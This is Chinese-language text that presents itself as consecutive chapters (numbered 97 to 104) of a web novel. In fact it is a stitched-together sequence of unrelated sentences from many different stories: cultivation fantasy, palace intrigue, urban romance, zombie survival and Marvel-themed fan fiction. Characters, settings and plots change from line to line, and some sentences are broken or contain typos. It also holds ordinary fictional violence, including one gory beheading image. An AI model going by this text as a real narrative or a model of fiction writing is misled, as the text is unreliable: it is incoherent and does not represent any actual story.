一声闷哼,一声惨叫几乎同时响起。童画是因为身子失衡,大吃一惊,所以才会发出惊呼。而宋子阳呢,则纯粹是童画压的。
“我的天呐,班副,你确定你没吹牛?”张帅有些不相信的问着。
找了一家服装店进入,并且找了一个有利位置,我一边挑着手里的服装,一边悄悄的观察从店面经过的那名跟踪我的男子。
就这么穿梭飞跃了好一阵,方尘终于轻巧地落在了一座石屋前。屋子中有位胡子花白的老者,想必就是那位名医所说的妙仁春。
第一卷 第97章 闯入
“正常人都可以随意出入,你们既然害怕【城护罩】,一定不是正常人,这不是我放不放的问题。”沈风凌说道。
花卉草药,漫山遍野,散发着淡淡的荧光,有道侣在其中幽会、亲昵。
那座天玄殿不仅能够用来困人,还能够用来镇压敌人,威力颇为不凡,就算是在师傅手中,也是颇为重要的一件圣兵。
晚上,墨雨和墨莲主动提出守夜,众人并没有反对,想着反正只是早晚的问题。
下方的众人听着耳边不断传来的誓言,听着那一个个热血沸腾的承诺,面面相觑起来。
现代人通过改造基因的适应性,直至身体完全被改善为适应七种基本属性元素中的某种元素的体质,再度过最初的细胞自适应阶段后,便可以掌握操控相应的基本属性元素,释放出元素力量。
在睁开眼的一瞬间,她突然意识到自己 可能自己死了,已经来到了阴曹地府。可当然扫视周围的环境后她才发现自己并没有死,而且还在那个医院中。
随着夜色越来越深,整个地球那原本热热闹闹的气氛,也在困意之下再次陷入了寂静之中。
想了想,就用这个了,谁让他长的太犯规,自己对他就是下不了手呢。
同一时间,赵筱老师白皙玉润的右手上出现一团深紫色的体辉,随即聚缩成一团紫雾,隐隐可见其中环绕着一束束电蛇,并且不断有外放出来的紫色电芒向着紫雾聚拢。
他竟然能够预测到千年之后的自己,甚至是手拿武器的超子,并把这幅图留了下来。单就凭这份能力,这人便足以有通天的本事,发现自己命运不得更改也就不得为奇。
漆黑的拳头就像是暴雨一样的从天而降,接连轰击在地面上,坚实的大地就像是烂泥一样的破碎不堪,溅起老高。
然后,以现在被称为自然系恶魔果实,当时被称为原生系恶魔果实的奇妙存在为蓝本,全新的恶魔果实被创造出来了,最开始,都是一些以动物为原型创造出来的果实,被称为动物系。
虽然对于弗拉德有着很重的怨气,对于自己被威胁的现状也相当的不满,但是,这个男人现在的眼睛却是就像是在放光一样的。
释鉴将沈青君放在了通铺上,他手脚迅速地把几床被褥叠在了一起,摸一摸,似乎已足够柔软,才又抱起了沈青君,让她卧在了上方。
不过其实兰皓也知道可以用精神力传达,不过她还是喜欢用吼的,这样毕竟有战斗氛围能提高随从的战斗激情,而且有时候还可以在精神力下达不同的指示来迷惑对方。通过这个技巧她可是阴了不少人。
天风怨谷中,浑身被灰色雾气包裹着的离央,在他的怀中忽然有青色的光芒亮起,瞬间就将他周身的灰色雾气驱走,随即在离央身后有一道门户出现,把他的身影吸了进去。
不过按李牧现在的概率来看,李牧觉得自己的珍贵卡牌估计要累加到下一期的卡池里去了。
楚天驹也是毫不怠慢,甚至是火急火燎一般,飞掠至陈汐身前,抬手就朝陈汐天灵盖上拍打而去。
数十上百的火枪,打得天使是狼狈之极,数量巨大的子弹几乎震得他的能量护罩破裂。正待天使们大骇,想往后倒掠撤退的同时。之前一直未曾开火的狙击手们,同时将他们威力彪悍,射程和杀伤力均恐怖之极的狙击枪轰出。
这一介绍完了,原本谈笑风生的何安领队嘴大大地张着,一句话顿时没接下去。他当然知道他闹了多大的一个尴尬。
她说她不寻死,她说她不想死,那么她这么做是因为一定能做到吧“少夫人,少夫人。”阿如手脚并用的爬向水塘,哭喊着。
而这时候,那如意异宝和白骨神火早已再度沉入了白骨长河下边,消失不见。
左昌昊笑道:“生同样日夜惦念外婆和各位姑娘,外婆该奖两杯酒才是。”他完眼睛往陈新微微一斜。
排名12的皇风战队,本轮客场挑战也吃了大亏,他们栽在了义斩战队手上,被义斩打出了个7比3。皇风因此在积分榜上滑落了两位,义斩则凭这7分进账,总算脱离了出局区,杀到了第16位。
那太医见得赵哲,自然又是慌忙要行礼。被赵哲制止后亲自带了他进去,但见皇后那凤床帷幔已经全部落下。而那太医,也早是见怪不怪。取了一根红头绳出来,想要玩悬丝诊脉的把戏。
原来是这样厉天三人听过解释后登时恍然大悟,血影眯眼道:人多又怎么样我们五个绕道而行避开他们,迅速进入冥界打开冥魔两界的通道,谅他们也追不上我们。
诺拉身边的二位,他都见过,一个是狮心帝国的贝诺特大萨满,另一个则是大草原上葛罕帝国的席魔导士,莫札林特。
他看到了让沈心进入林家的希望,沈心不知道沈落和林布的事,只以为林布是自己的深仇大敌。所以,奉尘子让他做什么他自然是做什么了。
但是,灵御也仅仅是化凡至臻十二重而已,在这一点,他并不比万俟辛强。
九道盛溢的玄气,从擂台之上冲了出来,这是腾青木九人怒极之下释放出来的玄气。
第一卷 第98章 潜入
枫红一刀流率先开口,顾晓颖作为公会里唯一的治疗牧师,从装扮上几乎一眼就能认得出来。
两人的距离有些近,宋沅奚微微垂眸,盯着姜晚琇认真的眉眼,卷长的睫毛下藏着一双深黑的眸子,甚是醒目,颇有一种摄人心魄的美。
“梅娅娅怎么样了?我这几天没时间,她好吗?”夏一航问曲朗。
得知这蝴蝶结是秦湘自己系的,惊讶的问来问去她是如何想到这一设计。
虽然不能暗里做些什么,但葛望几人还是没有放弃,一得空就往这边跑。
看来,拿到青楼之后,得让张氏拨一批货过来给青楼里的姑娘用。
想必这多多少少也是因为当年涉事那些人没有得到惩罚,反而还过得越来越好的缘故。
这就导致剧情发生很大的变动,或许她以后的事情已经不能预料了。
此刻,木花咲夜心正埋头苦吃,嘴巴塞的满满的,随着一口吞入肚子,眼睛闭起,微微仰头,一脸陶醉,似乎在回味着美食带来的幸福。
上首的老朱看着下面人反应,内心里一时间还挺想再看一次热闹,不过,自己都是皇帝了,可不能这么做,于是吩咐兵部和礼部共同商议处置此事,还额外叮嘱,尽可能遵循前朝旧例,不许纠结拖延。
一等二流太子位,享继承皇帝位之权,尊与三公一府,参政议政,有监国、推行政令之便利。
另一边,卢安哲条件反射地杀死一只丧尸后,还来不及收回手,第二只丧尸又向他扑了过来。
一直到除夕这天,忙晕的徐慧和于晓萍突然想起来他们家里的卫生都没搞,年货也没买,亲戚也没走动,啥都没干。
这边左右两边都是开放性空间,各有工匠在操作台旁忙碌,刚刚能陪着一起出来迎接朱塬的,包括刘上在内,大概都算是头目领班之类的级别。
“这些东西就是我买了玩的,你别乱动。”我把他手里的符咒拿回来。
风澜心中震撼不已,明白这不是他的努力和奉献所带来的结果,是冥冥之中的主宰之力的摧持。
迎接的亲邻太多,只有少数人能进来,大家在堂屋内坐下,你来我往地说了好一会儿话,不过,大部分都是采桑在问,周围叔伯婶姨回答,偶尔被问几句,都尽可能打岔过去。
「所以,你们暗地里行走,联合魔教,图谋余烬大海?」风澜的言辞犀利如刀。
“男的怎么了?我有个同事也是男的,就找了一个男朋友呢。”姬倾城夹起香肠,用力咬了一口说道。
“好吧,妈现在就去给你熬粥。”说着老妈就起身去熬粥了,林初也没劝,他的心却是真的很暖,在家就是温馨。
滚烫肉体内的高压血液将两颗头颅抛飞,在空中划出充满动力学美感的抛物线。
起初方士心里还有些不信,但见到对方背后长剑在一声令下出鞘,并且悬浮在对方身侧的时候,便再无任何想法。
这也就是为什么他们会赶着林初的大表哥进城务工的原因所在了,由于林初的介绍,赵磊获得了一份薪资不错的工作。每个月有四千五的收入,且还没有实习期一说。
不知道为什么,在提到这个“世界”时,他感觉到了难以言喻的抗拒感。
老头的谈性很浓,窦唯却没有打断他的意思,因为自己在他口中,就活脱脱的是一个正面人物。
茶娘子面色一黯,然后点点头,带着四名心腹,叫开了眼前这座雅致的二进宅院大门后,往里面去了。
在他身前十几米外的地上,躺着一个死了的乞丐,乞丐的脑门上插着一支飞镖。
显然,道格三道分身击中的并不是东方云阳本体,而是一道分身。
当贾千千从茅厕里出来后,经过一个柴草堆,准备从后门进去时,聂无争突然从柴草堆里冲出来,一把捂住了她的嘴。
亲朋好友,圈内人,上流社会的花花公子也都应邀来参加杨菲儿的庆功宴。
唐妍无论是哪一次,无论是遇到什么样的危险,都会毫不犹豫的选择相信自己,选择挺身而出。秦焱相信,哪怕这个世界上所有人都不站在秦焱这边,都站在秦焱的对立面上,唐妍也绝对会站在自己这边。
他身后那十几位剑尊,更是犹如豺狼虎豹一般,对着秦焱爆射而去。
“还有歌曲MV的事情也要开始着手准备,这个事情我不参与,就全权交给楚老师和你了!”易水寒继续说道。
林汐影从假寐中惊醒,清风摇铃,珠帘相撞,清脆悦耳之声在这幽静的房内漾开,美眸慢慢睁开,映入眼眸的是那一地的斜阳余辉,带着一丝朦胧之感,是双眸不知何时蒙上了一层薄雾,还是,这景太过如幻似无了。
第一卷 第99章 杀心
两国交战多年,他怎会不知道慕容雪是什么人!
慕容雪就是个十足十的疯子,这些年为了抢夺慕容泽的太子之位,做了许多不择手段的下作事。
即便是身在大乾,他也是有所耳闻的。
麦考尔先生闻听此言露出了又是害怕又是激动的神情,年轻人么,尤其是崇拜牛仔和银行劫匪的美国年轻人就喜欢‘黑手党’和‘古惑仔’这个调调,就连这位富三代法二代也不能例外。
“混蛋,给老夫站住!”九灵元圣纵身追去,刀锋和剑芒喷射而去,要看要追上,突然撞上了一层无形的铁壁,于空中受阻。
“怎么了这是,至于……吗?”花雨蝶在话还没说完的时候,顺着花雨瑶所指的方向看去,顿时如同石化一般,脸上的神采带着震惊,茫然,恐惧,不解,各色神情一一出现在她的俏脸之上。
苏玉笙轻轻挥手,收拾掉屋内的狼狈样,他可看不惯凌乱的房间。
所以在二楼发生的事情,包括那五个执行者之间的恩恩怨怨他也不清楚,着给夜祭布局造成了很大的麻烦。
两声冷哼从林间传来,两道漆黑的身影凭空出现,正是那两名黑甲男子。
他一一扫视众人,除了千衣,其他人的目光闪烁,竟是都不敢看那美人儿一眼。
不等茅九幽再次做出什么反应,两道白色灵光已然打入无尘山内。
“不知道。”赵信傻傻的说道。青光再次飞了回来,超神战士们连忙将这团青光围在了中间,武器锁定了这团青光,“我说,同学们,你们就是真么对你们的老师的吗?”青冥身上的青光渐渐消散,露出了身穿休闲服的青冥。
尽管如此,但是其他丹师对他的崇拜不但没有一点减少,反而是越来越大。
这是一种油腥,夹杂着某种肉类腐败变质的味道,稍微闻上一些,就让人觉得头昏脑脏,恶心想吐。
囚徒们的水房滴滴答答传来滴水声,唯一的光亮来自牢房顶部一个巴掌大的圆孔,为了通气,牢房四周都有这种换气孔,有时光顺着圆孔会照射进牢房。
安子溪钻出了被窝,把棉袄棉裤都穿好,把自己活脱脱穿成了一只熊。
听着不远处传来的妩媚声音,姬无夜强行让自己保持冷静与镇定。
赵海全并未出声,他心里很清楚,孙金荣骂的是孔鑫,和他并无任何关系。
继续呆在原地,也只不过是在白白等候,浪费时间,不妨去做一些其它事情。
而从因果的角度出现,也确实是因为自己先觉醒了这么一段记忆,才能成功凝聚出天帝的残破仙位。
而林凡自然也看到了苏沫然的神情,本就不好的心情再次恶化了几分。
直到祁横和赵琳都走了,祁圣林才叹了一口气,坐到椅子上,神情委顿,望着窗外发愣不知道在想什么。
陆征就看到不远处,一栋二十多层高,装潢精致的大楼,正静静的耸立在夜色之中。
他们开心的告诉自己老大和管事儿的,是他们多么努力的把他们拯救了回来。
周明兰想让人将凤惊澜连人带行李打包过来,却忘了自己不知道凤惊澜叫什么。
张梦惜的眼神和话语,让江城策陷入了迟疑,虽然江城策也多少有些喜欢张梦惜,可是却并未达到想要与她厮守终身的程度。
第一卷 第100章 睡梦
慕容雪的地牢是苍狼皇宫出了名的阴冷潮湿之地,地牢因为建在假山下,又常年积水,这个季节若遇了水更是冰冷刺骨!
成王犯的罪,罪及妻儿,太后越护着成王世子,就越和皇上离心。
傅子林向来细心,看见这个,温容并不意外,只是这事情也不能告诉傅子林。
即便一向假装的十分稳重的叶绝殇,见到这古玉,也忍不住起了心思。
但妈妈的哭声和爸爸虚弱的安慰声还回荡在耳边,豁出去了,烂命一条就是干,最多就是身上多几个洞,没事的。
现在位置,风独行就能看到,临界爵迹城的城门,很多;守卫也是很多。
陆嫣然原本看见温容被太后教训的那样没面子,心里已经忘了这件事情了,偏偏太后又提起来,立马便不高兴起来。
周睿是前皇后所生,真正的皇室嫡孙,自出生就由太后抚养,看得比命根子还重。
现在厉胜参加的,是梦游里的一个比赛;厉胜参加的比赛叫做梦游争霸赛。
陆嫣然这一个举动,不仅让所有人看见她和裴寒瑾的亲密,更是顺带在所有人面前卖了温容一个好。
但这块青玉着实灵异,李阳摸在手上仔细感应了许久,也不见金光讳消散多少。
叶卡捷琳娜望着彼得线条越来越明朗,也越来越英俊的脸庞,现在还觉得匪夷所思。
阿豪左脚轻点地面,一个闪耀的炼成阵便在他脚下展开。他特意加大输出,让橙黄色的炼成光芒照亮这片空间。
至于接到信息后是否支援,就得看来袭修士的实力了,若是敌方修士太过强大,几人也坚持不了多久,那一切休谈,他也只能给宗门传讯请求支援了,不可能为了任务搭上性命。
不得不说,在京都是要比在儋州要自由一些,而且还要更幸运一些,就比如宁缺昨天遇到了自己喜欢的姑娘。
然而,乔南道的指责威胁显然动摇不了李卓惜,押着乔南露拉的两个机器人依旧不动如山。
一双冰冷的寒目,正射出两道犹如实质的红芒,死死的盯着吕乐。
失去这些东西,她只是普通人,当然,她确实有一个属于自身的能力,对丧尸隐身。
所以,这次叶思棠卖票的事情,都不用徐清动手,淘贝直播会拼了命的炒作。
入夜,褪去衣衫,叶卡捷琳娜疼的满头大汗,但依然咬牙坚持着。
他们搭帐篷的地方比较平坦,抬眼一望,就能看到贺秦和何敏敏,傅知风放心不少。
然后他单手在关海铜的天灵盖上抓出了关海铜的魂魄,使用摄魂大法搜刮关海铜的记忆。关海铜的记忆里有一个禁制,花无缺刚想破开禁制关海铜的魂魄就“砰”一声爆散了。
炼药壶静悄悄的,壶口也没有什么特殊的变化,再加上是第一次炼制,所以程阳会觉得没有什么变化也是正常的。
一直都断定王南北不敢下手的弗朗克,那里会曾想到王南北会突然的发起攻击,根本就没有做出任何反应,只得任何王南北的大手钳住了自己的脖子。
我发现从进来开始奶奶就没理过他们家的人,不过我大表伯和三表伯还是恭敬地喊了我奶奶,但我奶奶却装作没听见,没搭理一声,就连三表伯背上的爷爷也没看一眼。
第一卷 第101章 恢复
锦婳心里暗暗吐槽,自然是在寻她!
“上穷碧落下黄泉,我命由我不由天!你,我必杀之!”龙傲天状若疯魔,双臂喷出血柱,但即便失去了双手,龙傲天也没有退缩的想法。
旁边的另外五人也都竖起耳朵,一副专心等待着叶淳讲话的模样。
“叶君或许不清楚,我们想要的从来就没有失败过。”木下野一郎明里暗里威胁道。
白发阴老厉昆听了必死毒王的话,想想也有点道理。阎王散凶名远播,其毒性之厉害,根本无需怀疑。或许是那了空秃驴内力太过深厚,凭着一身功力强撑到了现在。
直到许亦晴、陈俊等其余四人,也是如此说法,苏妙云三人才确信唐紫烟所言,并没有夸大其词。
欧鹏也为在座的在通讯领域也有一定名气的专家加盟应龙而感到高兴,虽然在他看来应龙突然进军一个陌生领域是一件十分不明智的事情,不过由于是叶淳亲自安排,欧鹏现在要做的只能是给予最大力量的支持。
多一个这样的战斗力,少一个这样的战斗力,显然影响不了什么。
并且,听他的意思,刚才出来,观真实界的古老星辰之时,居然还得到了更多的领悟,光是这一点。
最后,墨无缺出手无情,不但把古雷菲娅打趴下,更是把她打的无力起身,几度昏迷。
当然,刘海不知道,至少现在还不知道,这不仅仅只是无尽之刃强横的地步,而是因为其它的原因。
看样子已经喝了不少酒的中年男人,他手臂搭在秦扬的肩膀上,满嘴的酒气。
山谷外,两人相互凝视着,那滔天的剑意,几乎化形而出,在激烈交锋。
平时谈笑如云淡风轻一般的他,在对敌之时,脸色却变得无比凝重,像是在进行着一件极为神圣而又庄严的事情一样。
两人走进了县城,在秦俊的带领下,两人并没有立刻去李府,而是去了另一处。
丫鬟只是负责伺候主人家的日常生活,而贴身丫鬟,伺候的内容,那可就全面了,不止有日常生活,还有日的生活。
行至黄河边时,有洺州前来的朝廷援军追到,朱明令孙立领二千骑兵一击而溃,便再也没有官军敢追来。过了黄河,进到山东境内,沿途州县见梁山大队人马过境,都是紧闭城门,害怕梁山攻城还来不及,更别说出兵阻拦了。
“你想得美!”平诗媛恨恨的将洗漱用具,塞进闻起航的手中,转身便走。
朱明谢过了唐复国,怎么说自己现在加入了他的阵营,也是团队的一份子,如果再对他不敬,也不妥当。唐复国却是摆摆手,告诉朱明没关系,并嘱咐朱明要时常锻炼枪法。这让朱明对这个老头又有了根本看法的改变。
顾远对杨胖子这位初中同学有些印象的,在看了杨胖子的简历之后,他认为杨胖子有点才能的,他当场就把杨胖子给录用了。
“既然如此,我就成全你们,让你们一起死在这里!”他恶狠狠地说。
第一卷 第102章 忍耐
回头看看那个身体瘦削的馨儿,摇摇晃晃却在咬牙坚持,易枫感叹:只好委屈你了,不过我也是在锻炼你的身体。
石脸的脸色大变,但是他的手下却并没有丝毫停止,当白袍少年的攻击出现的一瞬间就做出了最为正确的反应,同样强大的一击还了回去。
她这样的举动确实是卖队友,不过她总觉得易枫还有其他的手段,她想要逼迫易枫显露实力。
‘中级制造商’需要制造者在星际商盟内,有五百条任务,交易,购买等记录,所有交易金额不得低于五百亿美金。
也就是说,这珠悟道灵荼通灵成精了也就算了,一生就生出两个荼灵的,真的是闻所未闻。
雷胜杰也十分意外的看着李天逸,他的目光中闪烁着一种异样的神色。
“唉……”阿玲不知道何时又回来了,看看自己老爹这副模样,不由得轻轻一叹。
“我是税警团的,你这个名字可不咋地呀,孙子,哈哈。”那个光头上尉拿着孙志的名字开着玩笑,旁边围着的士兵们更是哄堂大笑。
原因很简单,之前韩啸充能都没有充到最大化,打起来连皮都破不了。
那五辆中巴屁股朝后停好了之后,后门一下子全部打开了,而且排练过了一样,竟然是同一时刻开启的。
与他们刚才讨论什么自由和谐的话题完全不同,现在人们疯狂地往后面跑,推开刚才还聊得火热的人,就像被猎豹追逐的非洲羚羊。
其实他要招聘的就是飞剑公交驾驶员。或者说的高大上一点,就是御剑飞行的专业人才。
这些天吴浩出手一些战利品,王子琼帮了很大的忙。因为有些见不得光的东西,吴浩还需要利用执法堂来洗白。这样就能够卖到一个比较高的价钱。
还好这里是医院,陆霆骁似乎也早有准备,立即便有医生进来做了应急处理,稳住了陆崇山的情况。
看沃琳也是一脸笑意看着他,韩霆觉得不对劲,低头一看,湿毛巾刚好落在他的两腿间三角地带,那湿漉漉的模样,还真是不可言说。
这四只公鸡是他的后手,是面对极端情况下才会动用的,当然他最希望的是不用到这四只公鸡。
继而,那邪气的侵蚀,便愈发猛烈,如滔滔江水一般,连绵不绝。
所以许多公输家族的长老早已没有办法进去秘境中。参加秘境的基本上都是班门的核心弟子。
秦蒯仁说到这里耸了耸肩。因为好像也只有这样的解释才能够解释的清,为什么大家去到异界之后都没有仔细思考过那些原理。
邱明对此到是有一些猜测,那就是彼时干将还没有以身饲剑,干将剑的威力还没有那么大。即是是干将拿着,也打不过楚王的监工。
温妮这番话,很明显不是突发奇想,应该是早就想说出来了,只是借着这次机会一次性爆发出来而已。
到处都是战斗的情景,林枫略微看了一眼,接着吞了一个生命药剂,使用潜行消失在了众人眼前。
“原来是这样……”听完了厄尔斯的解释,尼克弗瑞忽然低声喃喃了起来,与此同时,他也迅速打消了刚才自己心里那个不切实际的想法。
顾临岸拉着宁珊走进顾府,顾府红绸彩缎高挂,宾客满堂,称喜道贺声不断,二人一同踏过火盆,顾家二老去得早,所以高堂上摆着的是顾府列祖列宗的牌位。
陈天翊坐在车厢内,心里忐忑不已,看了眼旁边的两名特警,对方神色肃穆严肃,也没有要偷偷对他们动手的迹象。
宫千竹抬头看着绚烂的烟花开心地笑,澄澈透明的眼底倒映出了整个夜空的璀璨宁静,美丽得仿佛不属于这个世界,好似美丽却又虚幻的泡沫,轻轻一碰便会从这个世界上消失。
“现在该怎么办呢?我是不是应该找个机会跟颜如玉道个歉好好解释一下?”宫千竹拿着那支精美华贵的九凤流光钗一脸苦闷,问道。
“……”宫千竹涨红了脸,说不定还真是这个原因呢。唉,自己的修为还是太浅了,看来还得努力练功才行。
叶冰吟他们看着那个黑衣人,他们在等黑衣人的回答,那个黑衣人过了许久才开始回答。
“王后,你感觉怎么样,好些没有?”柔黛将身凑过去,倏然蹲下,扶住幻兮依旧起伏不定的肩头。
“应当跟义盟一样,不再用过去的帮派管理模式,将其摒弃掉,将现代的管理运用到洪盟当中,还有就是将一些产业卖掉吧,比如一些酒吧,夜总会之类的。”黄老沉声道,态度非常的认真。
“曹盟主叫我们來可是有什么事情!”叶冰吟笑着问道,完全看不到他在湖畔时的伤感。
清音和雪灵对望了一眼,然后又将视线转回到随时都可能继续比试的那两人身上。
凌烈微微扯动下嘴角,伸出拳头与皮韦伦的撞了一下两只手紧紧的握在一起。
爆炸的余威先是摧毁了石台周围的禁制,然后瞬间到达风凡身体前方。随着一声闷响,风凡身体周围的真元御罩只是将其余威阻挡了少顷,便被击溃了。
这辆能移动的城堡刚一驶进县里,就顿时引起围观,这地方,最好就能见到一辆宝马,奔驰,就连本县的首富,才开一辆国产的宝马。
片刻后,这难得的光影便又消退不见,因为门扇再次闭合了。方寸视野重新黯淡下來,变得愈发溺水般无望渊深,一如这心境。
“为什么你们都要问我,这一切跟我明明没有关系。”安妮洛特回答。
突然一个商铺让熊倜心头一震,正是那个棺材铺,今早聚义庄已经从这里拉去十二具棺材,但这里临街却摆得更多,足足有三十多个,店伙计还在往外不停地抬。
系统提示:恭喜宿主触发四星级神经事件,获得4点属性,当前未加点属性剩余19点。
皇朝TKV算得上深市数一数二的TKV,甚至其奢华可以称得上是私人会所,而它的作用可不是为老板赚钱,主要作用还是结交朋友、接待“雄哥”的那些朋友。
第一卷 第103章 温存
开局类似,过程相仿,结局也没什么不同,甚至比上一次还更短一些时间,鼓包游走了一番的血魂灵便再次崩破三位筑基境修士的封禁窜了出来。
“既然来了,就出来吧,何必隐藏呢?”顾凌天突兀的声音突然响起,只见他眼神凌厉的望着前面虚空,其他二宗一盟的长老们都十分好奇的看着前方虚空处。
随着自己的功力的长进,慕容映雪渐渐地不满足了。正所谓人心不足,慕容映雪在练成了指尖生风之后,就想着练成更多更强大的武功,但是,凭借他现在的能量,还是有些心有余而力不足。
就在我焦急万分不知如何是好时,突然想起两年前我们在珠穆朗玛峰遇见的神秘组织所用的捕鸟蛛的坐标指路图。
一双利爪眼看就要插入夏鸣风的喉咙部位的时候,原本虚幻的双手掐捏着法决一顿,面前的尸魔宗长老泛着绿光的眼睛显露十分吃惊的神色,只感觉浑身一震,身体就像是不听使唤一样停留在半空之中。
“前辈放心,我不会让叶拙带我会青丘山的。”以往时候除了最初在那座大殿里面对另外几个世家公子时候的惊惧发颤,其后开口说话都是柔声细语恬淡十分的狐灵儿,这会说出这句话时候,语气却是少见的坚定。
传送阵灰黑荧光闪烁,云羽二人的身形随法盘消失不见,当场所显示的传送之力,在二人消失同时,也在一声脆鸣声中,消散不见。
王何没想到裴老三会问自己这样的话,这根本就是一句不着边际的话,不是说这些江湖游侠视银钱如粪土吗?
沈水吉的话,不是没有道理,但是,现在怎么样才能做出更多的让大家信服的证据呢?
杨剑仗着武器的优势,勉强能够防御住日本人的攻击。可是这也仅仅是暂时的抵御,就算日本人深受重伤,也不是只这个刚刚进入融灵境的人能够对抗的。
本来还想说自己不到钱的赵惠钰只是动了动嘴皮,到底还是忍了下来,她之前是真没想到修表哥这么看重齐妍灵,那个该死的贱人,到底用了什么方法让修表哥这么迷恋她。
他皱着眉头,刚要说话,可正摸着脸疼的一抽一抽的曲丽荷因为愤怒而淡去的疼痛瞬间袭上来。
打头的官兵听了这话,冷哼一声,没再继续深究,而是带着队伍继续前行。
“先去医务室检查一下。”说完这话,曲副厂长忍着怒气带着曲丽荷朝医务室走去。
“妍儿!”叶云飞在城门拦住了马车,看到车里面的人时,他一阵愕然。
来到无人之处,姜有为停下自行车,把绳子解开,将两箱茅台放入空间之内。
两人的嗓音都有不同程度的沙哑,尤其是钟宁,她感觉自己嗓子都要冒火了。
“这一年,是世界真正和平的一年,我们安排了一支舰队,到各国友好访问。
早就听司炎说他们明天要早出发,吃饱喝足后,沈漓尝试着睡觉。
公司的员工一直在讨论着,直到时安和江笃去到了江笃的办公室。
圣旨中,描述河西节度使韩安彪帐下军队来势汹汹,在西北大动干戈,欲横渡黄河,袭击灵州,变故超出朝堂预料,也超出他的预料。
紧接着,老者又说了一些关于此行的相关事宜,交待梁榆等人两日后于学院广场集合,一同出发前往漩谷山查探。
闻言,众人都是没什么表情,似乎这件事在他们看来很正常一般。
这就是村民们的强大之处,只要你给了一个说法,他们就会不断的讨论起来,直到最后,得出一个大家都认为合理的结论来。
现在的陆凡是五阶进化者,若是接连突破两阶,那就是七阶进化者,彻底无敌了。
在长安接连受挫,连自己的妹妹也拒绝见他,耶律思光暗生怒气,仿佛理解了耶律浦桦为何冒然行刺杨钺。
久而久之,弟弟的修为一日千里,他也想过要帮哥哥,拿了许多资源给哥哥,但是,一步走错,终生错,最终,弟成王,哥哥的修为却还是真武颠峰,后来,哥哥接受不这个现实,自杀了。
当第七天来临的时候,梁榆直接从修炼状态之中退了出来,离开楼房,直奔城外而已。
又是几个时辰之后,方辰这时开始脸色苍白,那是因为他体内的血液全部被集中到心脏,其他器官虽有百草内经灵气维护,但长久下来就会陷入自动休眠状态,如果方辰体内的血液还不返回,最终的结果就是方辰瘫痪。
这话一出口,史蒂芬·斯特兰奇顿时成为了这次光照会会议的焦点。
而随后,又有更多的光幕开始一片片张开,天下九州的无数百姓都开始显现。
候永年眼中闪过一抹挣扎,壮烈赴死似的拿起白玉瓷瓶,拔掉瓶塞将瓶中药丸倒在掌心。
由于公司不大,只有七十余人,他所做的工作平时并不繁忙,除了招聘季节和临近月底的考勤薪酬统计时会忙碌一点外,他每天在公司里头打酱油的时间偏多。
东方不败情绪同样是好奇,苏清清的情绪一如既往的稳定,陈立的情绪则显得有些期待,老太监现如今还处于惊恐之中。
第一卷 第104章 交底
我的心酸了一下,突然很想安慰他,于是我就轻轻捧住了他的脸。
话音刚落下,巨人一样的帕奇便陡然抬手朝向萨诺斯的方向一挥,虽然手掌并没有触及到他,但是带起的阵阵气浪却使得萨诺斯的浮空王座陡然一阵晃动。
而且古一法师,又或者说古一法师所在的卡玛泰姬还是有很多东西是帕奇所需要的。
宫千竹鬼鬼祟祟地从马棚口探头张望,见白日他们买的那匹马还在角落里安静地站着,黝黑发亮的眼睛直直盯着她。
想要从哮天犬那弄点血液可不容易,因为遇见哮天犬就不太容易。
说话的,叫齐堕,天界城苦心道门的副道主,也是此次集会的组织者。但所有人都知道,苦心道门的当家人是计尤,也是现在神界九天十地,最红、最强也是最霸道的风云人物。
“不要误会,杜根长官还没有向‘神盾局’这边报备你的身份,不过有些事情也不一定非得从官方渠道获取情报吧?”娜塔莎笑道。
他十分清楚自己的这个新玩具有多强的力量,普通人在其面前绝对跟纸糊的没什么区别,根本不可能将其一击击退。
孟婆需要邱明的一个承诺,而这个承诺,不是那么能够轻易答应的。孟婆已经是鬼仙,她口中的成道,肯定不会其他修士口中的成仙。这个成道,最少是从金仙到大罗金仙。
两人边走边聊,一路上让月儿对邪门有了从新的认识。不知不觉间两人已经来到了天赐的房门口,此时秀儿有一股一游未尽的感觉。天赐也是如此,两人站在房门外,谁也不舍得离开。
“哄…哄……”却也就在此刻,远处详音阵阵,视乎是一片仙界,一道道洪钟般的钟音从远处传来,远处一座宏伟的霞光万丈的金色的建筑出远处白色迷雾的山岚之上。
莱茵和塞茵?他们两个确实很厉害,但是以他们两个的实力连希莉亚都打不过,去了又能如何?
虽然气温下降特别迅速,但对于琴姬与哈尤米来说他们并不会在乎这点温度。他们可以使用灵术来控制自己周边的温度,不论周围的环境如何都不会影响到他们。
刘鼎天仔细看着场地内正在进行评级的学员,看的非常仔细,一点都不肯放过,脑子里不断在思考着应该怎么过去。
叶璇已经完全把住了四魔王的命门,话语之中威胁的口气十分的明显,听的四魔王心里有些不爽。
秦月计划好了,她要来真正的好好了解下这男人,看看他到底是一直什么样的鸟。
一路之行,独远见路上行人稀少,旁侧,曲之风经过昨夜休息,果然是精神饱满得很,一路停息之际曲之风也在,道路之上,与青云兽,飚风,体验着,那一夜九尾仙狐姐姐所带个自己的变化。
齐浩觉得不可能!这个卖荧光棒的人绝不可能是田贝老公了,他难道还能跑到四个电视频道里吗?
正当我和紫萱接吻时,突然手表响了,我放开紫萱,放射出手表的屏幕,屏幕上显示出了沐斯的脸。
于是云尘表情有些萌萌的飞下了天空,然后落到天京大学的一座教学楼之上。
羲皇是何等人物,他都说要大出血了,那想必是不可多得的宝物了。
大学生了,都是成年人,所以并没有强制的到点熄灯制度,学生们可以自由安排晚上的时间,特别是这种高等学府,招收的都是高材生,学校相信他们的自制力,最起码出去上网吧通宵的人并不多。
但最近这段时间,李天逸的神经绷的实在是太紧了,需要好好的放松一下吧,如果不是刚刚接到这两个电话,李天逸就打算明天直接飞往燕京市,找几个好兄弟聚一聚了。
此时她死的心都有了,明明是变成童玲的样子去杀高君,怎么却成了童玲的替死鬼了?
他上一次就达到了五行境,是正常的五行境,但结果呈现出来的却是红色,连橙色的影子都没有看到,而他也只能灰溜溜的回去,等待这一次机会了。
到底是该把‘火星冰魂城’定位成一座‘旅游’城市,还是该把它定位成一座‘基地’城市。
经过这番分析之后,陈管家立刻就,推断出,李天逸这次被伏击,很有可能就是昌硕集团那边搞的鬼。
李天逸看到这种情况,便知道这个尾巴是甩不掉了,便带着人直奔排污口,看到这里,那名保安的嘴角上露出了一丝不屑的冷笑。
而伊丹已经慢慢往前靠了,瞪着充满怒火的眼睛,一步步的向着大墨镜靠近。
江城市政法委距离程诗琪和李天逸的家只有两公里的距离,程诗琪为了保持身材,坚持每天走路上下班。
